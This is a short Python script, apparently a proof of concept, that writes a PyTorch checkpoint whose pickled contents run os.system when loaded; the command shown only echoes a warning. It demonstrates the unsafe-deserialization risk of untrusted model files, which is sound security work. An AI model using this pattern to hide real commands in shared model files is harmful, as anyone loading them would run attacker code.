#!/usr/bin/env python3 import torch import os class MaliciousPayload: def __reduce__(self): command = 'echo "\n[SECURITY WARNING] Arbitrary code executed successfully!\n"' return (os.system, (command,)) dummy_model_state = { "weight": torch.randn(3, 3), "bias": torch.randn(3), "exploit": MaliciousPayload() } checkpoint_path = "compromised_model.pt" torch.save(dummy_model_state, checkpoint_path) print(f"Malicious checkpoint saved to {checkpoint_path}")